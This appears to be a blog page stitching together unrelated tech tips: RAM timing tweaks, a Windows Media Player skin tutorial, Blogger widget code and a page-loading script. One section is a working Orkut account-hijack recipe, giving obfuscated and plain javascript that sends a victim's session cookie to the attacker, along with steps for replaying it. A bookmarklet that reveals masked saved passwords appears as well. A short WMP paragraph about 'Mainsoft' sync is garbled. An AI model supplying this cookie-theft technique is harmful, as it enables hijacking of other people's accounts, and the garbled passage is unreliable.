Tweaking memory

You must have come across numbers such as 5-5-5-15 or 4-4-4-12 or CL4 on memory modules. Do you know what these numbers mean? These are memory timings or the speed at which the memory processes certain data required by the processor. The higher these numbers, the longer the processor has to wait for the memory to respond and fetch data from it. Hence, the lower the memory’s timings, the better it is. Therefore high end memory capable of running at faster speeds and tighter timings are more expensive than the regular entry level variants.

The series of four numbers separated by dashes are listed in the following order: CL – TRCD – TRP – TRAS. Out of these the first number which is the CAS (Column Access Strobe) Latency is the most important timing. In simple terms, this is the amount of time (number of cycles) that elapses between the memory controller sending a read command and time taken to read data from the module’s pins. For optimal system performance it is recommended to set the memory speed and timings in the BIOS to the rated specifications listed by the manufacturer. If you install memory onto your motherboard and leave the memory speed and timings on automatic mode, it’s quite likely that the memory will run at BIOS’ optimal settings and not at the memory’s rated specifications. Thus the memory may run at a lower frequency or looser timings thereby reducing your PC’s performance. So here’s a quick guide on how to configure your RAM and gain a performance boost.

Step 1: Finding out the specifications of your RAM

First determine the speed and the timing of your RAM. This information is mentioned on the module. If not you can find the information on the manufacturer’s website or you can ask your hardware dealer. Most entry level DDR2 memory modules have timings of 5-5-5-18 or 5-5-5-15. This is also true if only the CAS Latency (CL) is mentioned and specified as 5. Incase you’re building a new PC, buy memory that will run at the maximum (or lower) speed supported by the motherboard. If the speed of memory is faster than that supported by the motherboard, it will run at lower speed.

Step 2: Tweaking the BIOS settings

After noting the required information, restart your PC and enter the BIOS settings. Navigate to the section which has the memory settings. If the speed and timings of the memory are set to auto, set them to the rated specifications manually. Save the BIOS settings and restart the PC when you’re done.

Step 3: Verifying the settings

If your PC boots means everything went fine. You can use the utility called CPU-Z to check if the memory is running at the specified settings. If your PC doesn’t boot, reset the BIOS and check whether your configured the memory correctly. Incorrect memory settings can also lead to system instability.

Another Trick available for Orkut account hack

While surfing on the net I found some recent articles which are just written before a week. This article tells ‘ How to Hack anyone’s Orkut Account using Cookie stealing method.’ While Looking at the replies to this topics i think that this time peoples found a working trick to unblock orkut account.

Now I’m gonna reveal ‘Procedure for new cookies stealing from mozilla firefox to hack gmail or orkut’

Note: My purpose is only to make u aware of whats happening around
not to teach u hacking in any sort!!

Step 1> First get firefox and the cookie editor plugin for it…u will need them…

Step 2>Then make two fake accounts…u will need one to receive the cookie and one to advertise your script so that if orkut starts deleting such profiles your real account wont be compromised…the choice is yours though..

Cookie Script:

javascript:nobody=replyForm;nobody.toUserId.value=66568555;nobody.scrapText.value=eval
(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101)); nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;nobody.submit()

How to use cookie script?

1. Replace your number “UserId.value=66568555”

“How to Replace your Number

A) Go to your album.
B) Right click on any Photo> Properties>55886645.jpg. It will be a Eight Digit Value.
C) Now replace your value with the value in the java script “

Now your script will look like >

javascript:nobody=replyForm;nobody.toUserId.value=yournumber; nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109, 101,110,116,46,99,111,111,107,105,101));nobody.action=’Scrapbook.aspx? Action.writeScrapBasic’;nobody.submit()

2.Now send this Cookie script to the victim and ask him to paste in Adress bar and Press enter
3.You’ll Get his cookie in your scrap book.

Now after getting a cookie…

* Go to your home page
* Open the cookie editor plugin(TOOLS–>COOKIE EDITOR).
* Type orkut in the text box and click filter/refresh.look for orkut_state cookie.
* Just double click it and replace the orkut_state part with your victims. No need to change the _umbz _umbc part…
* THATS IT!!
* Logout of your orkut and login again and you’ll be in your victims Homepage.

There is a ANOTHER SCRIPT :which 100% works.

javascript:nobody=replyForm;nobody.toUserId.value=53093255;nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?Action.submit’;nobody.submit()

Put ur eight digit number in the place of (53093255)

How To Make Your Own Windows Media Player Theme

It’s a bit of a complicated process, but it’s very similar to designing a web page using raw html and javascript code. So let’s get started. WMP uses a conjunction of many image files and one code file, with the file extension ”.wms” (windows media skin). The code file is basically a bracket system, very similar to html, to define areas of every skin. You will be using the windows notepad to construct most of the skin, and saving the file with a .wms extension. The first few sets of brackets have to be in every skin in order for them to even work, so I’ll put the code up here for you. Anything in bold can be changed to whatever you want (for now, once you get a more advanced understanding of how WMP skins work, then everything is fair game. For now though, follow what I say and everything will work.)

<THEME title=”Skin Title” author=”Me” copyright=”©whatever” id=”skin” > <VIEW id=”main” titleBar=”false” resizable=”false” backgroundImage=”background.bmp” clippingcolor=”#00FF00” > </VIEW> </THEME>

That will give you the most basic of skins. No buttons, no elements (what things such as the playlist and video are referred to as), no nothing. Just a background image ( background.bmp : and I recommend using bmp for your background images, because unlike jpg or other image types, bmp defines exact colors for every pixel, which is needed when you do skins without square edges). Speaking of transparency, if you want to have an edge on the skin that has any king of curve, you need to have a background color of green. Pure hex #00FF00 Green. It’s important also that you learn hex colors when working with WMP skins, you can familiarize yourself with them in photoshop’s color chooser if you don’t already have them.

To get something a little more complex, say buttons (play, stop, etc), you need to make another set of images and bracket set. This one called a button group. Again, I’ll give you the base code. And everything you’ll be adding to the skin, will always go inside the view bracket, in between <VIEW> and </VIEW>.

<buttongroup mappingimage=”map.bmp” hoverimage=”hover.bmp” > <PLAYELEMENT mappingColor=”#00FF130” /> <STOPELEMENT mappingColor=”#FF0110” /> <NEXTELEMENT mappingColor=”#00FFFF” /> <PREVELEMENT mappingColor=”#FF00FF” /> <PAUSEELEMENT mappingcolor=”#FFFF00” /> </buttongroup>

Now, we’ll assume at this point that you’ve designed your background image to include what the buttons look like when the cursor isn’t over them in the arrangement and placement you want them. Take that image and edit the buttons to appear how you want them to appear when you move the mouse cursor over them. Save that image as “hover.bmp” Then, it’s time to map the images, and this is the fun part that drives a lot of people away from WMP. Take the background image and color over all of the buttons with a pure solid color that they are shown as by their respective “mappingcolor”s (green for the play button, red for stop, yellow for pause, cyan for next, and magenta for previous. All those are their pure hex color versions as shown in the code above.). ONLY COVER THE AREA WHERE THE BUTTON IS WITH EACH COLOR! then save that image as map.bmp, this image combined with the mappingcolor codes tell WMP exactly where each button is.

That’s really all you need to make your basic skin. Just those main brackets and the buttonelements, which you can also add additional button elements to any skin such as the following. The uptooltip=”” is the tip that’s displayed when you mouse over the particular button, and the cursor=”hand” is just there to change the cursor from the pointer to the hand.

<buttonelement mappingColor=”#000000” uptooltip=”Close” onclick=”view.close();” cursor=”hand” /> <buttonelement mappingColor=”#FFFFFF” uptooltip=”Minimize” onclick=”view.minimize();” cursor=”hand” /> <buttonelement mappingColor=”#0000FF” uptooltip=”Return to Full” onclick=”view.returnToMediaCenter();” cursor=”hand” />

Now all you have to do is close your tage. After all this code, at the end of the file, put in </view></theme> to finish the skin.

Once all of this is done, and you’re ready to test the skin, simply make sure that all of your files (.bmp images and .wms file) are in the same directory, and double click the .wms file. You should see your skin open up in windows media player. Now, wms files are temporary, to make a skin that you can share, upload, and choose from in the skin selector, you have to compile it. Don’t worry, it’s extremely simple. Take the files in the directory that relate to the skin, and put them all into one compressed .zip file (it must be a zip file, not rar, not bin, zip.), then manually rename the file extension from .zip to .wmz (windows media zip). Double click the file, and it will save in windows media player and you can choose from it in the skin selector now, and give it to everyone you want to with just one file.

This is also a huge thing I recommend you do. Because the filename HAS to be manually changed, you can take anyone else’s skin that they’ve made, rename it from a .wmz extension back to a .zip extension, unzip the file to a directory, and look at how they built their skin. It’s the best way to learn how other elements are made and how certain things are done in the code. Definitely try that with at least one skin after making your first skin successfully. And here’s a skin I’ll recommend you try this with, just for starters. One of MY first skins, and thus an excellent learning skin. Black N’ White

Like the classiest “Winamp” skinned .bmp’s images, WMP skins could support a varied platforms by Microsoft’s partners – such as for example “Mainsoft” with lotus notes sharepoint sync function (an option which isn’t commonly known), this option should be checked before getting to the final steps of the wmz file.

This was a very basic tutorial showing how to make the absolute SIMPLEST of skins. I suggest playing around with it and mastering everything here before moving on. However, when you are ready to move on, you may contact me to learn everything else (and trust me, this is only about 1% of what windows media player skins can do). My Website (I’ll be putting up a better WMP page in my next redesign), and I suggest directly contacting me about learning more. I’m always willing to go out of my way to help anyone who wants to make WMP skins, I helped Arnitald when he was starting, and look what he did …

You can directly contact me via email. “Reeses2150 at MSN.com” Just put “WMP HELP” in the subject line somewhere, and make sure to explain the problem your having in some detail. That way I don’t have to guess whether your version of WMP is corrupt or whether you just don’t know how to use mspaint.

Peek-A-Boo Widget for Blogger

Peek-A-Boo widgets are useful when the widget content is too long. You can hide the content of the widget and let your visitors click on the widget title to show the content of that particular widget. This will make your sidebar short and sweet.

I’ve seen Peek-A-Boo widgets in certain blogs, but it lacked visitor attraction. I wanted to add certain effects to these widgets to make it more attractive. For eg: the way in which the content is shown and hidden. So I did some research in the net and came to know about the toggle effect. Yes, we can use toggle effects to make the sidebar widgets Peek-A-Boo.

Follow the steps given below to make your sidebar widgets Peek-A-Boo.

Add the javascript given below to the <head> section of your template.

<script src=’http://deepakpensieve.googlepages.com/prototype.js’ type=’text/javascript’></script>
<script src=’http://deepakpensieve.googlepages.com/scriptaculous.js?load=effects’ type=’text/javascript’></script>

The above javascripts are Prototype and Scriptaculous. If you’ve already added it to your template while applying some other hack then no need to add it now.

Add the code given below to the CSS area in your template, just above ]]></b:skin>:.

.collapsible {
cursor: pointer;
}

You might be having lot of widgets in your blog. Any widget can be made Peek-A-Boo. The method is the same for all widgets. But for explanation I’ll be using the Link List widget. The widget must be there in your blog to apply this hack. So if you haven’t added the widget then go and add the widget and come back.

Find the portion of code given below.

<b:widget id=’LinkList1′ locked=’false’ title=’WIDGET TITLE YOU GAVE’ type=’LinkList’>
<b:includable id=’main’>
<b:if cond=’data:title’>
<h2 class=’title’><data:title/></h2>
</b:if>
<div class=’widget-content’>
<ul>
<b:loop values=’data:links’ var=’link’>
<li><a expr:href=’data:link.target’><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name=’quickedit’/>
</div>
</b:includable>
</b:widget>

Add the codes highlighted in red at the right places as shown below.

<b:widget id=’LinkList1′ locked=’false’ title=’WIDGET TITLE YOU GAVE’ type=’LinkList’>
<b:includable id=’main’>
<b:if cond=’data:title’>
<h2 class=’collapsible’ onclick=’new Effect.toggle(“linklist”, “blind”);’><data:title/></h2>
</b:if>
<div class=’widget-content’ id=’linklist’ style=’display:none’>
<ul>
<b:loop values=’data:links’ var=’link’>
<li><a expr:href=’data:link.target’><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name=’quickedit’/>
</div>
</b:includable>
</b:widget>

Save Template.

As I said earlier, any widget can be made Peek-A-Boo. Method is the same as mentioned above. The only thing that changes is id. id must be unique. No other widgets must be having same id as another widget. ie: In this tutorial I used “linklist” as id. No other widgets must be having the same id name as “linklist”.

Try it on your blog and tell me how good it is. Do contact me if you have any doubt. You can also contact me if you’re confused and stuck in the middle of the hack. Leave your comments and URL of your blog so that I’ll be able to know who all are using this hack. It will also help the visitors to check how the hack is working in various blogs.

"I have forgotten my Orkut/Gmail Password" – How to Recover the Hidden Password

This is the most stupid situation I face when I sit in front of Computers at my college / Cafe. This is because I have forgotten my passwords to my Gmail/Orkut Acount. Thanks to the use of the “Remember Me” feature in most form logins to help the signing in process faster.

Well,

There are 2 Easy Steps to Recover your Forgotten Passwords

Step 1

Go to Tools -> Options -> Privacy, and select the Saved Passwords option.

Click on View Saved Passwords to see the Password Manager and you’ll see a Show Passwords button at the bottom right. That’s new.

You get a confirmation dialog (supposedly because showing your passwords is an important event). I think the intended use of the confirmation dialog is to save you from inadvertently showing your passwords to someone looking over your shoulder.

Screenshot of confirmation dialog when clicking Show Passwords

And your passwords are then shown in the plain text glory (mine are “pinked out” in the screenshot below, of course).

Step 2

On any page or login forms with asterisks passwords,
Copy paste the following Javascript into the url bar and hit enter.
Your password should display on a popup window.

javascript:(function(){var s,F,j,f,i; s = “”; F = document.forms; for(j=0; j<F.length; ++j) { f = F[j]; for (i=0; i<f.length; ++i) { if (f[i].type.toLowerCase() == “password”) s += f[i].value + “\n”; } } if (s) alert(“Passwords in forms on this page:\n\n” + s); else alert(“There are no passwords in forms on this page.”);})()

These 2 steps are enough to help you get back your long forgotten password.

Install Loading page status in Blogspot

Bored waiting for your blog page have opened? If so, you need to have the status of page loading or loading page status in your blog. You may think we use difficult code , No ! However, this form of animation from just a picture, so is very simple and easy instalation too. You can make your blog looking more interesting.

You just prepare a animation picture in .GIF format. You can use the service from preloading image generator like Ajaxload or Preloader, after that follow this tutorial carefully

1. We need a Javascript code like this :

var ld=(document.all);
var ns4=document.layers;
var ns6=document.getElementById&&!document.all;
var ie4=document.all;
if (ns4)
ld=document.loading;
else if (ns6)
ld=document.getElementById(“loading”).style;
else if (ie4)
ld=document.all.loading.style;
function init()
{
if(ns4){ld.visibility=”hidden”;}
else if (ns6||ie4) ld.display=”none”;
}

Then copy that code to notepad and save as name as pageloader.txt. Then Upload it to your own server.

2. Upload your .GIF image in Photobucket, Google Pages, or Geocities
3. After you upload the JS code and image , go to Edit HTML ( you dont need expad template widget ) and changes the <body> code with <body onLoad=’init()’>
4. Then put this code after <body onLoad=’init()’> code

<body onLoad=’init()’>
<div id=’loading’ style=’position:absolute; width:100%; text-align:center; top:600px;’>
<img border=’0′ src=’http://image URL/pic.gif’/></div>
<script src=’http://JS code URL/pageloader.txt’ type=’text/javascript’/>

5. And save your work !

Now, you must try the animation is work or not, If it work well, the image will stop move when the browser doesn’t work or stop loading. Loading stopped and animation too.
